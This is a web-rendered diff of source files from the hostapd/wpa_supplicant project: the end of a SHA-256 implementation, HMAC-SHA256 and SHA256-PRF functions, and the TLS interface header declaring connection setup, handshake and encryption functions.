return -1;
|
||||
|
||||
/* increase the length of the message */
|
||||
md->length += md->curlen * 8;
|
||||
|
||||
/* append the '1' bit */
|
||||
md->buf[md->curlen++] = (unsigned char) 0x80;
|
||||
|
||||
/* if the length is currently above 56 bytes we append zeros
|
||||
* then compress. Then we can fall back to padding zeros and length
|
||||
* encoding like normal.
|
||||
*/
|
||||
if (md->curlen > 56) {
|
||||
while (md->curlen < 64) {
|
||||
md->buf[md->curlen++] = (unsigned char) 0;
|
||||
}
|
||||
sha256_compress(md, md->buf);
|
||||
md->curlen = 0;
|
||||
}
|
||||
|
||||
/* pad upto 56 bytes of zeroes */
|
||||
while (md->curlen < 56) {
|
||||
md->buf[md->curlen++] = (unsigned char) 0;
|
||||
}
|
||||
|
||||
/* store length */
|
||||
WPA_PUT_BE64(md->buf + 56, md->length);
|
||||
sha256_compress(md, md->buf);
|
||||
|
||||
/* copy output */
|
||||
for (i = 0; i < 8; i++)
|
||||
WPA_PUT_BE32(out + (4 * i), md->state[i]);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ===== end - public domain SHA256 implementation ===== */
|
|
@ -0,0 +1,157 @@
|
|||
/*
|
||||
* SHA-256 hash implementation and interface functions
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "sha256.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
/**
|
||||
* hmac_sha256_vector - HMAC-SHA256 over data vector (RFC 2104)
|
||||
* @key: Key for HMAC operations
|
||||
* @key_len: Length of the key in bytes
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash (32 bytes)
|
||||
*/
|
||||
void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem,
|
||||
const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */
|
||||
unsigned char tk[32];
|
||||
const u8 *_addr[6];
|
||||
size_t _len[6], i;
|
||||
|
||||
if (num_elem > 5) {
|
||||
/*
|
||||
* Fixed limit on the number of fragments to avoid having to
|
||||
* allocate memory (which could fail).
|
||||
*/
|
||||
return;
|
||||
}
|
||||
|
||||
/* if key is longer than 64 bytes reset it to key = SHA256(key) */
|
||||
if (key_len > 64) {
|
||||
sha256_vector(1, &key, &key_len, tk);
|
||||
key = tk;
|
||||
key_len = 32;
|
||||
}
|
||||
|
||||
/* the HMAC_SHA256 transform looks like:
|
||||
*
|
||||
* SHA256(K XOR opad, SHA256(K XOR ipad, text))
|
||||
*
|
||||
* where K is an n byte key
|
||||
* ipad is the byte 0x36 repeated 64 times
|
||||
* opad is the byte 0x5c repeated 64 times
|
||||
* and text is the data being protected */
|
||||
|
||||
/* start out by storing key in ipad */
|
||||
os_memset(k_pad, 0, sizeof(k_pad));
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
/* XOR key with ipad values */
|
||||
for (i = 0; i < 64; i++)
|
||||
k_pad[i] ^= 0x36;
|
||||
|
||||
/* perform inner SHA256 */
|
||||
_addr[0] = k_pad;
|
||||
_len[0] = 64;
|
||||
for (i = 0; i < num_elem; i++) {
|
||||
_addr[i + 1] = addr[i];
|
||||
_len[i + 1] = len[i];
|
||||
}
|
||||
sha256_vector(1 + num_elem, _addr, _len, mac);
|
||||
|
||||
os_memset(k_pad, 0, sizeof(k_pad));
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
/* XOR key with opad values */
|
||||
for (i = 0; i < 64; i++)
|
||||
k_pad[i] ^= 0x5c;
|
||||
|
||||
/* perform outer SHA256 */
|
||||
_addr[0] = k_pad;
|
||||
_len[0] = 64;
|
||||
_addr[1] = mac;
|
||||
_len[1] = SHA256_MAC_LEN;
|
||||
sha256_vector(2, _addr, _len, mac);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* hmac_sha256 - HMAC-SHA256 over data buffer (RFC 2104)
|
||||
* @key: Key for HMAC operations
|
||||
* @key_len: Length of the key in bytes
|
||||
* @data: Pointers to the data area
|
||||
* @data_len: Length of the data area
|
||||
* @mac: Buffer for the hash (20 bytes)
|
||||
*/
|
||||
void hmac_sha256(const u8 *key, size_t key_len, const u8 *data,
|
||||
size_t data_len, u8 *mac)
|
||||
{
|
||||
hmac_sha256_vector(key, key_len, 1, &data, &data_len, mac);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* sha256_prf - SHA256-based Pseudo-Random Function (IEEE 802.11r, 8.5.1.5.2)
|
||||
* @key: Key for PRF
|
||||
* @key_len: Length of the key in bytes
|
||||
* @label: A unique label for each purpose of the PRF
|
||||
* @data: Extra data to bind into the key
|
||||
* @data_len: Length of the data
|
||||
* @buf: Buffer for the generated pseudo-random key
|
||||
* @buf_len: Number of bytes of key to generate
|
||||
*
|
||||
* This function is used to derive new, cryptographically separate keys from a
|
||||
* given key.
|
||||
*/
|
||||
void sha256_prf(const u8 *key, size_t key_len, const char *label,
|
||||
const u8 *data, size_t data_len, u8 *buf, size_t buf_len)
|
||||
{
|
||||
u16 counter = 1;
|
||||
size_t pos, plen;
|
||||
u8 hash[SHA256_MAC_LEN];
|
||||
const u8 *addr[4];
|
||||
size_t len[4];
|
||||
u8 counter_le[2], length_le[2];
|
||||
|
||||
addr[0] = counter_le;
|
||||
len[0] = 2;
|
||||
addr[1] = (u8 *) label;
|
||||
len[1] = os_strlen(label);
|
||||
addr[2] = data;
|
||||
len[2] = data_len;
|
||||
addr[3] = length_le;
|
||||
len[3] = sizeof(length_le);
|
||||
|
||||
WPA_PUT_LE16(length_le, buf_len * 8);
|
||||
pos = 0;
|
||||
while (pos < buf_len) {
|
||||
plen = buf_len - pos;
|
||||
WPA_PUT_LE16(counter_le, counter);
|
||||
if (plen >= SHA256_MAC_LEN) {
|
||||
hmac_sha256_vector(key, key_len, 4, addr, len,
|
||||
&buf[pos]);
|
||||
pos += SHA256_MAC_LEN;
|
||||
} else {
|
||||
hmac_sha256_vector(key, key_len, 4, addr, len, hash);
|
||||
os_memcpy(&buf[pos], hash, plen);
|
||||
break;
|
||||
}
|
||||
counter++;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
/*
|
||||
* SHA256 hash implementation and interface functions
|
||||
* Copyright (c) 2003-2006, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef SHA256_H
|
||||
#define SHA256_H
|
||||
|
||||
#define SHA256_MAC_LEN 32
|
||||
|
||||
void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem,
|
||||
const u8 *addr[], const size_t *len, u8 *mac);
|
||||
void hmac_sha256(const u8 *key, size_t key_len, const u8 *data,
|
||||
size_t data_len, u8 *mac);
|
||||
void sha256_prf(const u8 *key, size_t key_len, const char *label,
|
||||
const u8 *data, size_t data_len, u8 *buf, size_t buf_len);
|
||||
|
||||
#endif /* SHA256_H */
|
|
@ -0,0 +1,569 @@
|
|||
/*
|
||||
* SSL/TLS interface definition
|
||||
* Copyright (c) 2004-2010, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef TLS_H
|
||||
#define TLS_H
|
||||
|
||||
struct tls_connection;
|
||||
|
||||
struct tls_keys {
|
||||
const u8 *master_key; /* TLS master secret */
|
||||
size_t master_key_len;
|
||||
const u8 *client_random;
|
||||
size_t client_random_len;
|
||||
const u8 *server_random;
|
||||
size_t server_random_len;
|
||||
const u8 *inner_secret; /* TLS/IA inner secret */
|
||||
size_t inner_secret_len;
|
||||
};
|
||||
|
||||
enum tls_event {
|
||||
TLS_CERT_CHAIN_FAILURE,
|
||||
TLS_PEER_CERTIFICATE
|
||||
};
|
||||
|
||||
/*
|
||||
* Note: These are used as identifier with external programs and as such, the
|
||||
* values must not be changed.
|
||||
*/
|
||||
enum tls_fail_reason {
|
||||
TLS_FAIL_UNSPECIFIED = 0,
|
||||
TLS_FAIL_UNTRUSTED = 1,
|
||||
TLS_FAIL_REVOKED = 2,
|
||||
TLS_FAIL_NOT_YET_VALID = 3,
|
||||
TLS_FAIL_EXPIRED = 4,
|
||||
TLS_FAIL_SUBJECT_MISMATCH = 5,
|
||||
TLS_FAIL_ALTSUBJECT_MISMATCH = 6,
|
||||
TLS_FAIL_BAD_CERTIFICATE = 7,
|
||||
TLS_FAIL_SERVER_CHAIN_PROBE = 8
|
||||
};
|
||||
|
||||
union tls_event_data {
|
||||
struct {
|
||||
int depth;
|
||||
const char *subject;
|
||||
enum tls_fail_reason reason;
|
||||
const char *reason_txt;
|
||||
const struct wpabuf *cert;
|
||||
} cert_fail;
|
||||
|
||||
struct {
|
||||
int depth;
|
||||
const char *subject;
|
||||
const struct wpabuf *cert;
|
||||
const u8 *hash;
|
||||
size_t hash_len;
|
||||
} peer_cert;
|
||||
};
|
||||
|
||||
struct tls_config {
|
||||
const char *opensc_engine_path;
|
||||
const char *pkcs11_engine_path;
|
||||
const char *pkcs11_module_path;
|
||||
int fips_mode;
|
||||
|
||||
void (*event_cb)(void *ctx, enum tls_event ev,
|
||||
union tls_event_data *data);
|
||||
void *cb_ctx;
|
||||
};
|
||||
|
||||
#define TLS_CONN_ALLOW_SIGN_RSA_MD5 BIT(0)
|
||||
#define TLS_CONN_DISABLE_TIME_CHECKS BIT(1)
|
||||
|
||||
/**
|
||||
* struct tls_connection_params - Parameters for TLS connection
|
||||
* @ca_cert: File or reference name for CA X.509 certificate in PEM or DER
|
||||
* format
|
||||
* @ca_cert_blob: ca_cert as inlined data or %NULL if not used
|
||||
* @ca_cert_blob_len: ca_cert_blob length
|
||||
* @ca_path: Path to CA certificates (OpenSSL specific)
|
||||
* @subject_match: String to match in the subject of the peer certificate or
|
||||
* %NULL to allow all subjects
|
||||
* @altsubject_match: String to match in the alternative subject of the peer
|
||||
* certificate or %NULL to allow all alternative subjects
|
||||
* @client_cert: File or reference name for client X.509 certificate in PEM or
|
||||
* DER format
|
||||
* @client_cert_blob: client_cert as inlined data or %NULL if not used
|
||||
* @client_cert_blob_len: client_cert_blob length
|
||||
* @private_key: File or reference name for client private key in PEM or DER
|
||||
* format (traditional format (RSA PRIVATE KEY) or PKCS#8 (PRIVATE KEY)
|
||||
* @private_key_blob: private_key as inlined data or %NULL if not used
|
||||
* @private_key_blob_len: private_key_blob length
|
||||
* @private_key_passwd: Passphrase for decrypted private key, %NULL if no
|
||||
* passphrase is used.
|
||||
* @dh_file: File name for DH/DSA data in PEM format, or %NULL if not used
|
||||
* @dh_blob: dh_file as inlined data or %NULL if not used
|
||||
* @dh_blob_len: dh_blob length
|
||||
* @engine: 1 = use engine (e.g., a smartcard) for private key operations
|
||||
* (this is OpenSSL specific for now)
|
||||
* @engine_id: engine id string (this is OpenSSL specific for now)
|
||||
* @ppin: pointer to the pin variable in the configuration
|
||||
* (this is OpenSSL specific for now)
|
||||
* @key_id: the private key's id when using engine (this is OpenSSL
|
||||
* specific for now)
|
||||
* @cert_id: the certificate's id when using engine
|
||||
* @ca_cert_id: the CA certificate's id when using engine
|
||||
* @tls_ia: Whether to enable TLS/IA (for EAP-TTLSv1)
|
||||
* @flags: Parameter options (TLS_CONN_*)
|
||||
*
|
||||
* TLS connection parameters to be configured with tls_connection_set_params()
|
||||
* and tls_global_set_params().
|
||||
*
|
||||
* Certificates and private key can be configured either as a reference name
|
||||
* (file path or reference to certificate store) or by providing the same data
|
||||
* as a pointer to the data in memory. Only one option will be used for each
|
||||
* field.
|
||||
*/
|
||||
struct tls_connection_params {
|
||||
const char *ca_cert;
|
||||
const u8 *ca_cert_blob;
|
||||
size_t ca_cert_blob_len;
|
||||
const char *ca_path;
|
||||
const char *subject_match;
|
||||
const char *altsubject_match;
|
||||
const char *client_cert;
|
||||
const u8 *client_cert_blob;
|
||||
size_t client_cert_blob_len;
|
||||
const char *private_key;
|
||||
const u8 *private_key_blob;
|
||||
size_t private_key_blob_len;
|
||||
const char *private_key_passwd;
|
||||
const char *dh_file;
|
||||
const u8 *dh_blob;
|
||||
size_t dh_blob_len;
|
||||
int tls_ia;
|
||||
|
||||
/* OpenSSL specific variables */
|
||||
int engine;
|
||||
const char *engine_id;
|
||||
const char *pin;
|
||||
const char *key_id;
|
||||
const char *cert_id;
|
||||
const char *ca_cert_id;
|
||||
|
||||
unsigned int flags;
|
||||
};
|
||||
|
||||
|
||||
/**
|
||||
* tls_init - Initialize TLS library
|
||||
* @conf: Configuration data for TLS library
|
||||
* Returns: Context data to be used as tls_ctx in calls to other functions,
|
||||
* or %NULL on failure.
|
||||
*
|
||||
* Called once during program startup and once for each RSN pre-authentication
|
||||
* session. In other words, there can be two concurrent TLS contexts. If global
|
||||
* library initialization is needed (i.e., one that is shared between both
|
||||
* authentication types), the TLS library wrapper should maintain a reference
|
||||
* counter and do global initialization only when moving from 0 to 1 reference.
|
||||
*/
|
||||
void * tls_init(const struct tls_config *conf);
|
||||
|
||||
/**
|
||||
* tls_deinit - Deinitialize TLS library
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
*
|
||||
* Called once during program shutdown and once for each RSN pre-authentication
|
||||
* session. If global library deinitialization is needed (i.e., one that is
|
||||
* shared between both authentication types), the TLS library wrapper should
|
||||
* maintain a reference counter and do global deinitialization only when moving
|
||||
* from 1 to 0 references.
|
||||
*/
|
||||
void tls_deinit(void *tls_ctx);
|
||||
|
||||
/**
|
||||
* tls_get_errors - Process pending errors
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* Returns: Number of found error, 0 if no errors detected.
|
||||
*
|
||||
* Process all pending TLS errors.
|
||||
*/
|
||||
int tls_get_errors(void *tls_ctx);
|
||||
|
||||
/**
|
||||
* tls_connection_init - Initialize a new TLS connection
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* Returns: Connection context data, conn for other function calls
|
||||
*/
|
||||
struct tls_connection * tls_connection_init(void *tls_ctx);
|
||||
|
||||
/**
|
||||
* tls_connection_deinit - Free TLS connection data
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
*
|
||||
* Release all resources allocated for TLS connection.
|
||||
*/
|
||||
void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn);
|
||||
|
||||
/**
|
||||
* tls_connection_established - Has the TLS connection been completed?
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* Returns: 1 if TLS connection has been completed, 0 if not.
|
||||
*/
|
||||
int tls_connection_established(void *tls_ctx, struct tls_connection *conn);
|
||||
|
||||
/**
|
||||
* tls_connection_shutdown - Shutdown TLS connection
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* Shutdown current TLS connection without releasing all resources. New
|
||||
* connection can be started by using the same conn without having to call
|
||||
* tls_connection_init() or setting certificates etc. again. The new
|
||||
* connection should try to use session resumption.
|
||||
*/
|
||||
int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn);
|
||||
|
||||
enum {
|
||||
TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED = -3,
|
||||
TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED = -2
|
||||
};
|
||||
|
||||
/**
|
||||
* tls_connection_set_params - Set TLS connection parameters
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @params: Connection parameters
|
||||
* Returns: 0 on success, -1 on failure,
|
||||
* TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing
|
||||
* PKCS#11 engine failure, or
|
||||
* TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the
|
||||
* PKCS#11 engine private key.
|
||||
*/
|
||||
int __must_check
|
||||
tls_connection_set_params(void *tls_ctx, struct tls_connection *conn,
|
||||
const struct tls_connection_params *params);
|
||||
|
||||
/**
|
||||
* tls_global_set_params - Set TLS parameters for all TLS connection
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @params: Global TLS parameters
|
||||
* Returns: 0 on success, -1 on failure,
|
||||
* TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing
|
||||
* PKCS#11 engine failure, or
|
||||
* TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the
|
||||
* PKCS#11 engine private key.
|
||||
*/
|
||||
int __must_check tls_global_set_params(
|
||||
void *tls_ctx, const struct tls_connection_params *params);
|
||||
|
||||
/**
|
||||
* tls_global_set_verify - Set global certificate verification options
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @check_crl: 0 = do not verify CRLs, 1 = verify CRL for the user certificate,
|
||||
* 2 = verify CRL for all certificates
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int __must_check tls_global_set_verify(void *tls_ctx, int check_crl);
|
||||
|
||||
/**
|
||||
* tls_connection_set_verify - Set certificate verification options
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @verify_peer: 1 = verify peer certificate
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int __must_check tls_connection_set_verify(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
int verify_peer);
|
||||
|
||||
/**
|
||||
* tls_connection_set_ia - Set TLS/IA parameters
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @tls_ia: 1 = enable TLS/IA
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function is used to configure TLS/IA in server mode where
|
||||
* tls_connection_set_params() is not used.
|
||||
*/
|
||||
int __must_check tls_connection_set_ia(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
int tls_ia);
|
||||
|
||||
/**
|
||||
* tls_connection_get_keys - Get master key and random data from TLS connection
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @keys: Structure of key/random data (filled on success)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int __must_check tls_connection_get_keys(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
struct tls_keys *keys);
|
||||
|
||||
/**
|
||||
* tls_connection_prf - Use TLS-PRF to derive keying material
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @label: Label (e.g., description of the key) for PRF
|
||||
* @server_random_first: seed is 0 = client_random|server_random,
|
||||
* 1 = server_random|client_random
|
||||
* @out: Buffer for output data from TLS-PRF
|
||||
* @out_len: Length of the output buffer
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function is optional to implement if tls_connection_get_keys() provides
|
||||
* access to master secret and server/client random values. If these values are
|
||||
* not exported from the TLS library, tls_connection_prf() is required so that
|
||||
* further keying material can be derived from the master secret. If not
|
||||
* implemented, the function will still need to be defined, but it can just
|
||||
* return -1. Example implementation of this function is in tls_prf() function
|
||||
* when it is called with seed set to client_random|server_random (or
|
||||
* server_random|client_random).
|
||||
*/
|
||||
int __must_check tls_connection_prf(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const char *label,
|
||||
int server_random_first,
|
||||
u8 *out, size_t out_len);
|
||||
|
||||
/**
|
||||
* tls_connection_handshake - Process TLS handshake (client side)
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @in_data: Input data from TLS server
|
||||
* @appl_data: Pointer to application data pointer, or %NULL if dropped
|
||||
* Returns: Output data, %NULL on failure
|
||||
*
|
||||
* The caller is responsible for freeing the returned output data. If the final
|
||||
* handshake message includes application data, this is decrypted and
|
||||
* appl_data (if not %NULL) is set to point this data. The caller is
|
||||
* responsible for freeing appl_data.
|
||||
*
|
||||
* This function is used during TLS handshake. The first call is done with
|
||||
* in_data == %NULL and the library is expected to return ClientHello packet.
|
||||
* This packet is then send to the server and a response from server is given
|
||||
* to TLS library by calling this function again with in_data pointing to the
|
||||
* TLS message from the server.
|
||||
*
|
||||
* If the TLS handshake fails, this function may return %NULL. However, if the
|
||||
* TLS library has a TLS alert to send out, that should be returned as the
|
||||
* output data. In this case, tls_connection_get_failed() must return failure
|
||||
* (> 0).
|
||||
*
|
||||
* tls_connection_established() should return 1 once the TLS handshake has been
|
||||
* completed successfully.
|
||||
*/
|
||||
struct wpabuf * tls_connection_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data);
|
||||
|
||||
/**
|
||||
* tls_connection_server_handshake - Process TLS handshake (server side)
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @in_data: Input data from TLS peer
|
||||
* @appl_data: Pointer to application data pointer, or %NULL if dropped
|
||||
* Returns: Output data, %NULL on failure
|
||||
*
|
||||
* The caller is responsible for freeing the returned output data.
|
||||
*/
|
||||
struct wpabuf * tls_connection_server_handshake(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data,
|
||||
struct wpabuf **appl_data);
|
||||
|
||||
/**
|
||||
* tls_connection_encrypt - Encrypt data into TLS tunnel
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @in_data: Plaintext data to be encrypted
|
||||
* Returns: Encrypted TLS data or %NULL on failure
|
||||
*
|
||||
* This function is used after TLS handshake has been completed successfully to
|
||||
* send data in the encrypted tunnel. The caller is responsible for freeing the
|
||||
* returned output data.
|
||||
*/
|
||||
struct wpabuf * tls_connection_encrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data);
|
||||
|
||||
/**
|
||||
* tls_connection_decrypt - Decrypt data from TLS tunnel
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @in_data: Encrypted TLS data
|
||||
* Returns: Decrypted TLS data or %NULL on failure
|
||||
*
|
||||
* This function is used after TLS handshake has been completed successfully to
|
||||
* receive data from the encrypted tunnel. The caller is responsible for
|
||||
* freeing the returned output data.
|
||||
*/
|
||||
struct wpabuf * tls_connection_decrypt(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
const struct wpabuf *in_data);
|
||||
|
||||
/**
|
||||
* tls_connection_resumed - Was session resumption used
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* Returns: 1 if current session used session resumption, 0 if not
|
||||
*/
|
||||
int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn);
|
||||
|
||||
enum {
|
||||
TLS_CIPHER_NONE,
|
||||
TLS_CIPHER_RC4_SHA /* 0x0005 */,
|
||||
TLS_CIPHER_AES128_SHA /* 0x002f */,
|
||||
TLS_CIPHER_RSA_DHE_AES128_SHA /* 0x0031 */,
|
||||
TLS_CIPHER_ANON_DH_AES128_SHA /* 0x0034 */
|
||||
};
|
||||
|
||||
/**
|
||||
* tls_connection_set_cipher_list - Configure acceptable cipher suites
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers
|
||||
* (TLS_CIPHER_*).
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int __must_check tls_connection_set_cipher_list(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
u8 *ciphers);
|
||||
|
||||
/**
|
||||
* tls_get_cipher - Get current cipher name
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @buf: Buffer for the cipher name
|
||||
* @buflen: buf size
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* Get the name of the currently used cipher.
|
||||
*/
|
||||
int __must_check tls_get_cipher(void *tls_ctx, struct tls_connection *conn,
|
||||
char *buf, size_t buflen);
|
||||
|
||||
/**
|
||||
* tls_connection_enable_workaround - Enable TLS workaround options
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function is used to enable connection-specific workaround options for
|
||||
* buffer SSL/TLS implementations.
|
||||
*/
|
||||
int __must_check tls_connection_enable_workaround(void *tls_ctx,
|
||||
struct tls_connection *conn);
|
||||
|
||||
/**
|
||||
* tls_connection_client_hello_ext - Set TLS extension for ClientHello
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @ext_type: Extension type
|
||||
* @data: Extension payload (%NULL to remove extension)
|
||||
* @data_len: Extension payload length
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int __must_check tls_connection_client_hello_ext(void *tls_ctx,
|
||||
struct tls_connection *conn,
|
||||
int ext_type, const u8 *data,
|
||||
size_t data_len);
|
||||
|
||||
/**
|
||||
* tls_connection_get_failed - Get connection failure status
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
*
|
||||
* Returns >0 if connection has failed, 0 if not.
|
||||
*/
|
||||
int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn);
|
||||
|
||||
/**
|
||||
* tls_connection_get_read_alerts - Get connection read alert status
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* Returns: Number of times a fatal read (remote end reported error) has
|
||||
* happened during this connection.
|
||||
*/
|
||||
int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn);
|
||||
|
||||
/**
|
||||
* tls_connection_get_write_alerts - Get connection write alert status
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* Returns: Number of times a fatal write (locally detected error) has happened
|
||||
* during this connection.
|
||||
*/
|
||||
int tls_connection_get_write_alerts(void *tls_ctx,
|
||||
struct tls_connection *conn);
|
||||
|
||||
/**
|
||||
* tls_connection_get_keyblock_size - Get TLS key_block size
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* Returns: Size of the key_block for the negotiated cipher suite or -1 on
|
||||
* failure
|
||||
*/
|
||||
int tls_connection_get_keyblock_size(void *tls_ctx,
|
||||
struct tls_connection *conn);
|
||||
|
||||
#define TLS_CAPABILITY_IA 0x0001 /* TLS Inner Application (TLS/IA) */
|
||||
/**
|
||||
* tls_capabilities - Get supported TLS capabilities
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* Returns: Bit field of supported TLS capabilities (TLS_CAPABILITY_*)
|
||||
*/
|
||||
unsigned int tls_capabilities(void *tls_ctx);
|
||||
|
||||
/**
|
||||
* tls_connection_ia_send_phase_finished - Send a TLS/IA PhaseFinished message
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @final: 1 = FinalPhaseFinished, 0 = IntermediatePhaseFinished
|
||||
* Returns: Encrypted TLS/IA data, %NULL on failure
|
||||
*
|
||||
* This function is used to send the TLS/IA end phase message, e.g., when the
|
||||
* EAP server completes EAP-TTLSv1.
|
||||
*/
|
||||
struct wpabuf * tls_connection_ia_send_phase_finished(
|
||||
void *tls_ctx, struct tls_connection *conn, int final);
|
||||
|
||||
/**
|
||||
* tls_connection_ia_final_phase_finished - Has final phase been completed
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* Returns: 1 if valid FinalPhaseFinished has been received, 0 if not, or -1
|
||||
* on failure
|
||||
*/
|
||||
int __must_check tls_connection_ia_final_phase_finished(
|
||||
void *tls_ctx, struct tls_connection *conn);
|
||||
|
||||
/**
|
||||
* tls_connection_ia_permute_inner_secret - Permute TLS/IA inner secret
|
||||
* @tls_ctx: TLS context data from tls_init()
|
||||
* @conn: Connection context data from tls_connection_init()
|
||||
* @key: Session key material (session_key vectors with 2-octet length), or
|
||||
* %NULL if no session key was generating in the current phase
|
||||
* @key_len: Length of session key material
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int __must_check tls_connection_ia_permute_inner_secret(
|
||||
void *tls_ctx, struct tls_connection *conn,
|
||||
const u8 *key, size_t key_len);
|
||||
|
||||
typedef int (*tls_session_ticket_cb)
|
||||
(void *ctx, const u8 *ticket, size_t len, const u8 *client_random,
|
||||
const u8 *server_random, u8 *master_secret);
|
||||
|
||||
